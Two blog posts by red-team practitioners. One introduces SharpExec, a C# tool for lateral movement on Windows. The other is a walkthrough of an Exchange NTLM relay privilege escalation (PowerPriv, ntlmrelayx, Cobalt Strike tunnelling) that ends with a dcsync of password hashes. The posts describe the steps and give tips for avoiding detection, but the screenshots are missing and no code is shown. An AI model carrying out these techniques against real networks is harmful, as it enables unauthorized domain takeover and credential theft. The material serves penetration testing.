Friday, April 5, 2019

SharpExec - Lateral Movement With Your Favorite .NET Bling

TL;DR:

SharpExec is an offensive security C# tool designed to aid with lateral movement. While the techniques used are not groundbreaking or new by any means, every environment is different and what works for one situation might not work for the next.  This tool is a combination of code I have been using over the years when needing to move laterally in a Windows environment and due to various circumstances traditional tools weren't an option.  Below I will go over functionality, benefits, things to be aware of, etc.  If you are already tired of reading this, you can grab the source code or compiled tool from my github here: https://github.com/anthemtotheego/SharpExec

Current modules:
  • WMIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Impacket's wmiexec.py tool.
  • SMBExec - Semi-Interactive shell that runs as NT Authority\System.  Best described as a less mature version of Impacket's smbexec.py tool.
  • PSExec (like functionality) - Gives the operator the ability to execute remote commands as NT Authority\System or upload a file and execute it with or without arguments as NT Authority\System.
  • WMI - Gives the operator the ability to execute remote commands as the user or upload a file and execute it with or without arguments as the user.
  • In the future I would like to add lateral movement through DCOM and pass the hash functionality
A few benefits:
  • Doesn't need to be supplied credentials if the current user running the program has the appropriate permissions (admin rights) to other remote systems.  This can come in handy when you compromise a system but don't have valid credentials yet.
  • The tool itself can be easily executed in memory, for example, using Cobalt Strike or SharpCradle.
  • Tools that are similar can behave differently enough that one tool's behavior gets flagged while the other one doesn't.
  • Sometimes you just don't feel like dealing with SSH tunneling or port forwarding just to run a specific tool and having other options is great.  
Things to be aware of:

When running the PSExec and SMBExec modules, please be aware that these are extremely noisy.  There will be a ton of log activity, so if you are testing a mature organization and your goal is not to get caught, you don't want to run these. Unfortunately though, many organizations still don't catch this type of activity and in most cases you are probably fine running these modules.  For a great rundown on how these types of tools work, check out this great blog series by @ropnop -  https://blog.ropnop.com/using-credentials-to-own-windows-boxes/

Like other tools with similar functionality, administrative rights are required.

Examples:

I have always been a fan of individuals who provide clear examples of using their tools and what behavior I should expect over the here is a tool, I wish you the best of luck approach.  So in this section I have tried to supply screenshots of various examples of using SharpExec.  Feel free to reach out to me on twitter @anthemtotheego if something doesn't make sense or is confusing.  This goes for any of my projects.

Running SharpExec without any arguments prints the help menu



The below example starts a semi-interactive shell to a remote domain joined system from a non-domain joined system using the WMIExec module























The below example starts a semi-interactive shell as user1 on the remote system using no username/password and then uses the get command available within the WMIExec/SMBExec modules to download a file from the remote system's current directory to your local system



The below example starts a semi-interactive shell as NT Authority\System on the remote system using no username/password and then uses the put command available within the WMIExec/SMBExec modules to upload a file from your local system to the remote system



The below example uploads the local binary noPowershell-noargs.exe to the remote system's C:\ drive and executes the binary via the WMI module.  It then waits for the user to press Enter before removing the file off of the remote system

The below example uses the PSExec module to execute a PowerShell Empire payload on the remote system via cmd.exe.  This will spawn a PowerShell Empire shell running as NT Authority\System


















The below example uses the tool SharpCradle.exe to pull SharpExec.exe into memory and execute the WMIExec module to gain a semi-interactive shell on the remote system




















Conclusion:

Hopefully this has been a good tutorial on a few ways to use SharpExec.  Till next time and happy hacking!

Link to tools:

SharpExec - https://github.com/anthemtotheego/SharpExec

SharpExec Compiled Binaries - https://github.com/anthemtotheego/SharpExec/tree/master/CompiledBinaries

SharpCradle GitHub - https://github.com/anthemtotheego/SharpCradle

Thursday, January 31, 2019

Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv


TL;DR: A new take on the recently released Exchange privilege escalation attack allowing for  remote usage without needing to drop files to disk, local admin rights, or knowing any passwords at all.  Any shell on a user account with a mailbox = domain admin.  I wrote a PowerShell implementation of PrivExchange that uses the credentials of the current user to authenticate to exchange.  Find it here: https://github.com/G0ldenGunSec/PowerPriv 



The Exchange attack that @_dirkjan released last week (https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin) provides an extremely quick path to full domain control on most networks, especially those on which we already have a device that we can run our tools on, such as during an internal network penetration test.  However, I saw a bit of a gap from the point of a more red-team focused attack scenario, in which we often wouldn’t have a box on the internal client network that we can run python scripts on (such as ntlmrelayx and PrivExchange) without either installing python libraries or compiling the scripts to binaries and dropping them to disk to run.  Additionally, we may not have a user's plaintext or NTLM hashes to run scripts with remotely via proxychains.   

Trying to find a more effective solution for this scenario, I wrote a PowerShell implementation of PrivExchange called PowerPriv that uses the credentials of the current user to authenticate to the Exchange server.  This gets around the problem of needing credentials, as we’ll now just use the already-compromised account to authenticate for us.  However, this was really only a first step as it still required that we relay to the domain controller through ntlmrelayx, meaning that we would still need a box on the network running Linux / need to install Python / etc.  To put the rest of the pieces together, I used a bunch of the great tunneling functionality that comes in Cobalt Strike to set up a relay for the inbound NTLM authentication request (via HTTP) from the Exchange server, through our compromised host system, to the Cobalt Strike server, and back out to the target domain controller (via LDAP).  At a high level, this is what we’re doing: 
 

So, in more depth, what are we actually doing here?  To begin, let’s get a ‘compromised’ system and check who the local admins are:


Cool, we’re running as ‘tim’, a user who is not currently an admin on this system, but that shouldn’t matter.  Next, let's get our forwarding set up using the 'socks' + 'rportfwd' commands in Cobalt Strike and the /etc/proxychains.conf file:



We’re doing a few things here, setting up a reverse port forward to send traffic from port 80 on the compromised system to port 80 on our attacker system, and then setting up a SOCKS proxy to forward traffic back out through the compromised system over port 36529 on our box (the specific port used doesn’t matter).  

Once we've configured these, we can use proxychains to forward traffic through our SOCKS proxy set up on port 36259.  To perform the relay, we'll run ntlmrelayx, forwarding traffic through proxychains in order to get it back to the target environment. 


After this is up and running, we are ready to kick off the attack.  I’m using the PowerShell implementation of PrivExchange that I wrote called PowerPriv to authenticate using Tim's credentials.  In this example, all we need are the IPs of the Exchange server and the system which we currently have a shell on, since our compromised system will be relaying the incoming request to our attack server:



After this, we sit back and wait a minute for the NTLM authentication request to come back from the remote Exchange server:



Looks like our attack succeeded. Let's see if Tim can now perform a dcsync and get another user’s NTLM hash, even though Tim is only a lowly domain user:



A resounding success!  All without ever needing to know what Tim’s password is, perform any poisoning attacks, or drop files onto his system.   As to why we’re using the Cobalt Strike dcsync module vs secretsdump – in this scenario we do not have a plaintext password or NTLM hash for Tim (or any user), which would be required if we want to run secretsdump from our box via proxychains.  If you do have credentials, you can definitely use whichever method you prefer.

A few gotchas from during this process:
  • Make sure to use an appropriate type of malleable profile for your beacon. Don’t try and be fancy and send data over URIs or parameters.  Due to the nature of the relayed authentication we need to be able to quickly get the authentication request and forward it back out.  I also completed all testing using an interactive beacon, a 5-minute sleep isn’t going to work for this one.
  • I was initially having issues getting the dcsync working when using an FQDN (vs. the netbios name) of my target domain.  This was likely due to how I configured my naming conventions on my local domain, but something to be aware of.
  • In this example, my Cobalt Strike teamserver was running on the same box as my Cobalt Strike operator console (I was not connecting to a remote team server).  If you have a remote team server, this is where you would need to set up your relay, as this is where the the reverse port fwd would be dumped out to. (May need further testing)


Notes and links:
@_Dirkjan’s blog which covers the actual Exchange priv esc bug that he found in greater depth: https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

Github Repo for PowerPriv: https://github.com/G0ldenGunSec/PowerPriv

Github Repo for ntlmrelayx: https://github.com/SecureAuthCorp/impacket

Cobalt Strike resources on port fwd’ing and SOCKS proxies: https://www.youtube.com/watch?v=bwq0ToNPCtg

*This technique was demonstrated in the article with Cobalt Strike.  However, this same vector is possible using other agents that support port forwarding and proxying, such as Meterpreter.